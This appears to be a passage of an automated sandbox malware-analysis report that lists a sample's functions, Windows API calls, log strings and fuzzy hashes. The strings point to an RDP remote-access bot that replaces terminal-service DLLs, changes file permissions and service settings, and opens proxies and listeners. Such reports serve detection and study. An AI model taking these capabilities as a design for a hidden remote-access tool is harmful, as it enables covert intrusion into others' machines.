Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: HandleModuleSleep
String ID:
API String ID: 1071907932-0
Opcode ID: c8c003f471b71a30b05e0dbd92c2347c511595d06f4733816d1c0ed97604998d
Instruction ID: eb076d6ccf5acd9648038bb1445a70eeca655b4d8f8f2706f941ee1cf220f61c
Opcode Fuzzy Hash: c8c003f471b71a30b05e0dbd92c2347c511595d06f4733816d1c0ed97604998d
Instruction Fuzzy Hash: E501F42271F683CAF7A03654F4503B9A295EB84344FD610B0E61E4B2F5DE7CD8478720

Function 00007FF7AABD1360 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetServiceStatus.SECHOST ref: 00007FF7AABD1385

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: ServiceStatus
String ID:
API String ID: 3969395364-0
Opcode ID: e32b914f392c1bb68bce297dc10430292cf8290041b41d2df93b278c97710b2f
Instruction ID: 1a541f575552d3bd740961764df33fada270669af90206c52e7f317d69951240
Opcode Fuzzy Hash: e32b914f392c1bb68bce297dc10430292cf8290041b41d2df93b278c97710b2f
Instruction Fuzzy Hash: A3D06774D1F702C5F714BF25E855224A6A4BF59741BD290B5C10C43230CE2C6A568724

Function 00007FF7AABD862A Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

rand_s.MSVCRT ref: 00007FF7AABD863B

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: rand_s
String ID:
API String ID: 863162693-0
Opcode ID: d894bd9d1fefdfddca1d9388a77a24cda624f6bd6183f74499cae0a854ff162f
Instruction ID: 1e3a324b2d1dc68fdcb5ad0cdf7800268f559a5aee761f5dad0dcfbe81ebaee3
Opcode Fuzzy Hash: d894bd9d1fefdfddca1d9388a77a24cda624f6bd6183f74499cae0a854ff162f
Instruction Fuzzy Hash: 8DC00226A19540CAD620AB24E845359A770E798308FD08151E65D82664CA3CD61BCF14

Function 00007FFB22708F37 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB22708F45

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: e4c6a4f8fdc4c5e7e294a81c5ab1ecc696208827fd2be91c8cd57836eb3360ae
Instruction ID: 7cd476dc2202ffc1d31cbccbb43580796912c0c7502219e70b0d69e7603edf30
Opcode Fuzzy Hash: e4c6a4f8fdc4c5e7e294a81c5ab1ecc696208827fd2be91c8cd57836eb3360ae
Instruction Fuzzy Hash: 85C08CE1F1D1A282FB0A6B71FC810780221AFAD300F001034E84EC2372EEEC6CD88A00

Non-executed Functions

Function 00007FFB22731883 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32 ref: 00007FFB227318C9
strcpy.MSVCRT ref: 00007FFB227318E4
FindFirstFileA.KERNEL32 ref: 00007FFB227319B7
GetLastError.KERNEL32 ref: 00007FFB227319D3
GetLastError.KERNEL32 ref: 00007FFB22731A02
FindClose.KERNEL32 ref: 00007FFB22731A20

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22731927, 00007FFB2273195F, 00007FFB22731997
[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FFB22731A38
(resume_handle != NULL), xrefs: 00007FFB22731989
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB22731912, 00007FFB2273194A, 00007FFB22731982
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FFB227319F4
(name != NULL), xrefs: 00007FFB22731951
(path != NULL), xrefs: 00007FFB22731919
fs_dir_list, xrefs: 00007FFB22731920, 00007FFB22731958, 00007FFB22731990, 00007FFB227319ED, 00007FFB22731A31

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNextfflushfwritestrcpy
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 4253334766-1535167640
Opcode ID: 6363c55dd3b19cd157e70e6c0aa18bdd31b4f9f527645224db46f4a492e8ace5
Instruction ID: 5ec7c99417e8d7e8710243d92bcaf6c628c4e12880d2dd578bb6889ec44024b9
Opcode Fuzzy Hash: 6363c55dd3b19cd157e70e6c0aa18bdd31b4f9f527645224db46f4a492e8ace5
Instruction Fuzzy Hash: 4B6117E1F0C5D785FA225B74EC403B863A0AB0275AF544132D96ECA2F5DEECAD44C356

Function 00007FFB2273AEAA Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 89networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFB2273AEC8
WSAGetLastError.WS2_32 ref: 00007FFB2273AFB2

Part of subcall function 00007FFB2273ADDA: setsockopt.WS2_32 ref: 00007FFB2273AE0A

htonl.WS2_32 ref: 00007FFB2273AEFA
htons.WS2_32 ref: 00007FFB2273AF0B
bind.WS2_32 ref: 00007FFB2273AF24
listen.WS2_32 ref: 00007FFB2273AF39
WSAGetLastError.WS2_32 ref: 00007FFB2273AF4A

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

WSAGetLastError.WS2_32 ref: 00007FFB2273AF74

Strings

[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FFB2273AFFE
tcp_listen, xrefs: 00007FFB2273AF5F, 00007FFB2273AF89, 00007FFB2273AFC3, 00007FFB2273AFF7
[E] (%s) -> bind failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB2273AF90
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB2273AFCA
[E] (%s) -> listen failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB2273AF66

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLast$bindfflushfwritehtonlhtonslistensetsockoptsocket
String ID: [E] (%s) -> bind failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> listen failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$tcp_listen
API String ID: 3590747132-3524496754
Opcode ID: 338ea743c6ab41b1da8d1801cff54c7305943f91944127bfa0d9e4ce2e40490a
Instruction ID: cb3d800ca523b9597f8f52c2ad19718a64ececa04d6538c38b899037b65eb6f4
Opcode Fuzzy Hash: 338ea743c6ab41b1da8d1801cff54c7305943f91944127bfa0d9e4ce2e40490a
Instruction Fuzzy Hash: 643179E2A1C68246FB229B35EC011A97660AF467B4F041339ED7EC66F0DFACED458701

Function 00007FFB22735EB2 Relevance: 91.4, APIs: 27, Strings: 25, Instructions: 448stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB2273B930: GetModuleHandleExA.KERNEL32 ref: 00007FFB2273B94E

strlen.MSVCRT ref: 00007FFB22735F63
strlen.MSVCRT ref: 00007FFB22735F85
strlen.MSVCRT ref: 00007FFB22735FCB
strlen.MSVCRT ref: 00007FFB22735FED
LocalAlloc.KERNEL32 ref: 00007FFB2273605B
CreateWellKnownSid.ADVAPI32 ref: 00007FFB2273607F
LocalFree.KERNEL32 ref: 00007FFB22736090
GetLastError.KERNEL32 ref: 00007FFB2273609E
LocalFree.KERNEL32 ref: 00007FFB227360D2
strcpy.MSVCRT ref: 00007FFB227360F3
strlen.MSVCRT ref: 00007FFB227360FB
strcpy.MSVCRT ref: 00007FFB22736131
strlen.MSVCRT ref: 00007FFB22736139
strcpy.MSVCRT ref: 00007FFB22736174
strlen.MSVCRT ref: 00007FFB2273617C
strcpy.MSVCRT ref: 00007FFB227361A8
strlen.MSVCRT ref: 00007FFB227361B0
strcat.MSVCRT ref: 00007FFB227361C8
strlen.MSVCRT ref: 00007FFB227361D0
GetLastError.KERNEL32 ref: 00007FFB22736244

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

GetNamedSecurityInfoA.ADVAPI32 ref: 00007FFB227362DE
SetEntriesInAclA.ADVAPI32 ref: 00007FFB2273642E

Part of subcall function 00007FFB2273C852: EnterCriticalSection.KERNEL32 ref: 00007FFB2273C923
Part of subcall function 00007FFB2273C852: LeaveCriticalSection.KERNEL32 ref: 00007FFB2273C94B
Part of subcall function 00007FFB2273C852: CopyFileA.KERNEL32 ref: 00007FFB2273C9A8

Strings

[E] (%s) -> GetNamedSecurityInfoA failed(dst_dir=%s,res=%lu), xrefs: 00007FFB22736300
v32.dll, xrefs: 00007FFB22736187
%SystemRoot%\system32\rfxvmt.dll, xrefs: 00007FFB2273621F
fs_module_dir, xrefs: 00007FFB22735F3E
[E] (%s) -> SetNamedSecurityInfoA failed(res=%lu), xrefs: 00007FFB22736561
[E] (%s) -> CreateWellKnownSid failed(t=%d,gle=%lu), xrefs: 00007FFB227360B4
[I] (%s) -> Done(t=%d,_s=%lu), xrefs: 00007FFB22736281
[E] (%s) -> SetEntriesInAclA failed(res=%lu), xrefs: 00007FFB22736448
[I] (%s) -> Done(uniq_name=%s), xrefs: 00007FFB2273676B
sid_get_well_known_one, xrefs: 00007FFB227360AD, 00007FFB22736252, 00007FFB2273627A
NULL, xrefs: 00007FFB2273677C
rfxvmt.d, xrefs: 00007FFB22736720
%ProgramFiles%\RDP\, xrefs: 00007FFB22735FAA
[I] (%s) -> %s, xrefs: 00007FFB22736627
termsrv3, xrefs: 00007FFB22736103
SetNamedSecurityInfoA done, xrefs: 00007FFB22736619
[E] (%s) -> Failed(uniq_name=%s,err=%08x), xrefs: 00007FFB22735F0C
(uniq_name != NULL), xrefs: 00007FFB22735F37
C:/Projects/rdp/bot/rpd-controller/rdp.c, xrefs: 00007FFB22735F30
fileset_copy, xrefs: 00007FFB22735F05, 00007FFB227362F9, 00007FFB22736441, 00007FFB2273655A, 00007FFB22736620, 00007FFB22736764
[E] (%s) -> LocalAlloc failed(s=%lu,gle=%lu), xrefs: 00007FFB22736259
dll, xrefs: 00007FFB2273672D
v32.ini, xrefs: 00007FFB22736110
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22735F45
D, xrefs: 00007FFB22736049

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strlen$strcpy$Local$CriticalErrorFreeLastSection$AllocCopyCreateEnterEntriesFileHandleInfoKnownLeaveModuleNamedSecurityWellfflushfwritestrcat
String ID: %ProgramFiles%\RDP\$%SystemRoot%\system32\rfxvmt.dll$(uniq_name != NULL)$C:/Projects/rdp/bot/rpd-controller/rdp.c$D$NULL$SetNamedSecurityInfoA done$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateWellKnownSid failed(t=%d,gle=%lu)$[E] (%s) -> Failed(uniq_name=%s,err=%08x)$[E] (%s) -> GetNamedSecurityInfoA failed(dst_dir=%s,res=%lu)$[E] (%s) -> LocalAlloc failed(s=%lu,gle=%lu)$[E] (%s) -> SetEntriesInAclA failed(res=%lu)$[E] (%s) -> SetNamedSecurityInfoA failed(res=%lu)$[I] (%s) -> %s$[I] (%s) -> Done(t=%d,_s=%lu)$[I] (%s) -> Done(uniq_name=%s)$dll$fileset_copy$fs_module_dir$rfxvmt.d$sid_get_well_known_one$termsrv3$v32.dll$v32.ini
API String ID: 439637577-3231512019
Opcode ID: ff588f9bc4b9baede6fef66bb8c23f0fb46566bbe07c60028de652eb7cf83905
Instruction ID: 2d616f26f2b286972e2cf6f6508465ede1958131a045a460671be21765379358
Opcode Fuzzy Hash: ff588f9bc4b9baede6fef66bb8c23f0fb46566bbe07c60028de652eb7cf83905
Instruction Fuzzy Hash: 4D127FA1B0C7C381FB229B20EC907B96260EB46784F544036DA4DCB6B6DEEDED45C746

Function 00007FFB22732851 Relevance: 44.0, APIs: 15, Strings: 10, Instructions: 226stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB22732876
RemoveDirectoryA.KERNEL32 ref: 00007FFB2273288E
GetLastError.KERNEL32 ref: 00007FFB22732898

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

strcpy.MSVCRT ref: 00007FFB22732962
strlen.MSVCRT ref: 00007FFB2273296A
strlen.MSVCRT ref: 00007FFB22732986
strlen.MSVCRT ref: 00007FFB22732997
strcpy.MSVCRT ref: 00007FFB227329B1
strlen.MSVCRT ref: 00007FFB227329B9
strlen.MSVCRT ref: 00007FFB227329DB
strlen.MSVCRT ref: 00007FFB227329EF
strcmp.MSVCRT ref: 00007FFB22732A31
strcmp.MSVCRT ref: 00007FFB22732A44
RemoveDirectoryA.KERNEL32 ref: 00007FFB22732AED
GetLastError.KERNEL32 ref: 00007FFB22732AFB

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB227328E1
[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FFB227328B6, 00007FFB22732B19
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB227328CC
fs_dir_delete, xrefs: 00007FFB227328AF, 00007FFB227328DA, 00007FFB22732A5D, 00007FFB22732B12, 00007FFB22732BE1, 00007FFB22732C44
*, xrefs: 00007FFB2273299C
[D] (%s) -> Delete(path_wc=%s,f_path=%s), xrefs: 00007FFB22732A64
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FFB22732BE8
(path != NULL), xrefs: 00007FFB227328D3
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FFB22732C4B
NULL, xrefs: 00007FFB22732C35

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strlen$DirectoryErrorLastRemovestrcmpstrcpy$fflushfwrite
String ID: (path != NULL)$*$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Delete(path_wc=%s,f_path=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_delete
API String ID: 2460052984-4087913290
Opcode ID: 74b26ad425fb8a5fddc439913b45df4c9c4e5cde0be30a875cf60db12acbeb68
Instruction ID: 4110c97e6b2bd1122828a70e3a5e4fc8503131a6e5bbf0f9e465e75004620798
Opcode Fuzzy Hash: 74b26ad425fb8a5fddc439913b45df4c9c4e5cde0be30a875cf60db12acbeb68
Instruction Fuzzy Hash: 08A15CA1B0C6C295FB229B35EC543FA63A1AB92744F540432C94DC66B5EEFCED45C702

Function 00007FFB22739BD8 Relevance: 37.0, APIs: 6, Strings: 15, Instructions: 200memorythreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB22739C14
LeaveCriticalSection.KERNEL32 ref: 00007FFB22739D5C
GetProcessHeap.KERNEL32 ref: 00007FFB22739D8F
HeapAlloc.KERNEL32 ref: 00007FFB22739DA3
CreateThread.KERNEL32 ref: 00007FFB22739E1D
GetLastError.KERNEL32 ref: 00007FFB22739E80

Strings

[E] (%s) -> Failed(id=%llx,host=%08x,port=%d,err=%08x), xrefs: 00007FFB22739C86
[E] (%s) -> CreateThread(routine_proxy) failed(gle=%lu), xrefs: 00007FFB22739E92
routine_proxy, xrefs: 00007FFB22739E2D
[W] (%s) -> Proxy is already open(id=%llx), xrefs: 00007FFB22739D44
(port != 0), xrefs: 00007FFB22739CDE
(id != 0), xrefs: 00007FFB22739C48
proxy_open, xrefs: 00007FFB22739C4F, 00007FFB22739C7F, 00007FFB22739CB5, 00007FFB22739CE5, 00007FFB22739D18, 00007FFB22739D3D, 00007FFB22739D77, 00007FFB22739E34, 00007FFB22739E8B
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB22739E5E
(host != 0), xrefs: 00007FFB22739CAE
[I] (%s) -> Done(id=%llx,host=%08x,port=%d), xrefs: 00007FFB22739D7E
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22739C56, 00007FFB22739CBC, 00007FFB22739CEC, 00007FFB22739D1F
mem_alloc, xrefs: 00007FFB22739E57
[I] (%s) -> CreateThread(%s) done, xrefs: 00007FFB22739E3B
(handler != NULL), xrefs: 00007FFB22739D11
C:/Projects/rdp/bot/rpd-controller/proxy.c, xrefs: 00007FFB22739C41, 00007FFB22739CA7, 00007FFB22739CD7, 00007FFB22739D0A

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocCreateEnterErrorLastLeaveProcessThread
String ID: (handler != NULL)$(host != 0)$(id != 0)$(port != 0)$C:/Projects/rdp/bot/rpd-controller/proxy.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateThread(routine_proxy) failed(gle=%lu)$[E] (%s) -> Failed(id=%llx,host=%08x,port=%d,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> CreateThread(%s) done$[I] (%s) -> Done(id=%llx,host=%08x,port=%d)$[W] (%s) -> Proxy is already open(id=%llx)$mem_alloc$proxy_open$routine_proxy
API String ID: 2213424947-2249309816
Opcode ID: c7e2cab6de9d794514e1bafba1a18b1a8457840a8e3fd79e8e7f7442e15e0e41
Instruction ID: cf89533483122895b8605eb2ac9e6272676db3d7237c67a31bac6c2f3463cbd8
Opcode Fuzzy Hash: c7e2cab6de9d794514e1bafba1a18b1a8457840a8e3fd79e8e7f7442e15e0e41
Instruction Fuzzy Hash: 9B9129E2A1D683C1FB228B24EC906B832A1AF46754F55013AD95DC72B4DFBDED85D302

Function 00007FFB22737AD5 Relevance: 33.4, APIs: 5, Strings: 14, Instructions: 183serviceCOMMON

Download Yara Rule

APIs

OpenServiceA.ADVAPI32 ref: 00007FFB22737B07
ChangeServiceConfigA.ADVAPI32 ref: 00007FFB22737B69
GetLastError.KERNEL32 ref: 00007FFB22737B77

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

GetLastError.KERNEL32 ref: 00007FFB22737C23
CloseServiceHandle.ADVAPI32 ref: 00007FFB22737DBD

Strings

~, xrefs: 00007FFB22737CA4
P, xrefs: 00007FFB22737CAD
, xrefs: 00007FFB22737B9C
~, xrefs: 00007FFB22737D48
(svc != NULL), xrefs: 00007FFB22737BCC
scm_config_start, xrefs: 00007FFB22737B89, 00007FFB22737BD3, 00007FFB22737C06, 00007FFB22737C31, 00007FFB22737D9D
[I] (%s) -> Done(lpServiceName=%s,mode=%lu), xrefs: 00007FFB22737DA4
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22737BDA, 00007FFB22737C0D
P, xrefs: 00007FFB22737D51
[E] (%s) -> ChangeServiceConfigA failed(lpServiceName=%s,mode=%lu,gle=%lu), xrefs: 00007FFB22737B90
C:/Projects/rdp/bot/codebase/scm.c, xrefs: 00007FFB22737BC5, 00007FFB22737BF8
, xrefs: 00007FFB22737C44
[E] (%s) -> OpenServiceA(SERVICE_CHANGE_CONFIG) failed(lpServiceName=%s,gle=%lu), xrefs: 00007FFB22737C38
((mode == SERVICE_AUTO_START) || (mode == SERVICE_DEMAND_START) || (mode == SERVICE_DISABLED)), xrefs: 00007FFB22737BFF

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Service$ErrorLast$ChangeCloseConfigHandleOpenfflushfwrite
String ID: $ $((mode == SERVICE_AUTO_START) || (mode == SERVICE_DEMAND_START) || (mode == SERVICE_DISABLED))$(svc != NULL)$C:/Projects/rdp/bot/codebase/scm.c$P$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> ChangeServiceConfigA failed(lpServiceName=%s,mode=%lu,gle=%lu)$[E] (%s) -> OpenServiceA(SERVICE_CHANGE_CONFIG) failed(lpServiceName=%s,gle=%lu)$[I] (%s) -> Done(lpServiceName=%s,mode=%lu)$scm_config_start$~$~
API String ID: 4203309519-312684847
Opcode ID: bada9a83655d280baa5dd358c94eebb15ce8fc87529c221177d16a370ecaa4d2
Instruction ID: 86b35e42c0364c6bc3a9061ef979b7acee39253079ea9763873016c3e348a6af
Opcode Fuzzy Hash: bada9a83655d280baa5dd358c94eebb15ce8fc87529c221177d16a370ecaa4d2
Instruction Fuzzy Hash: 398107E1B1C68792FA224B35EC803F86260AF06754F104036C64ECA6F5DEFDAD84C752

Function 00007FFB22731B2E Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB22731B4D
CreateDirectoryA.KERNEL32 ref: 00007FFB22731B6F
GetLastError.KERNEL32 ref: 00007FFB22731BC0
strcpy.MSVCRT ref: 00007FFB22731C11
strlen.MSVCRT ref: 00007FFB22731C19
strlen.MSVCRT ref: 00007FFB22731C35
strlen.MSVCRT ref: 00007FFB22731C46
CreateDirectoryA.KERNEL32 ref: 00007FFB22731CB7
GetLastError.KERNEL32 ref: 00007FFB22731CC1

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22731BA5
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB22731B90
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FFB22731D96
(path != NULL), xrefs: 00007FFB22731B97
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FFB22731C70
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FFB22731BD9
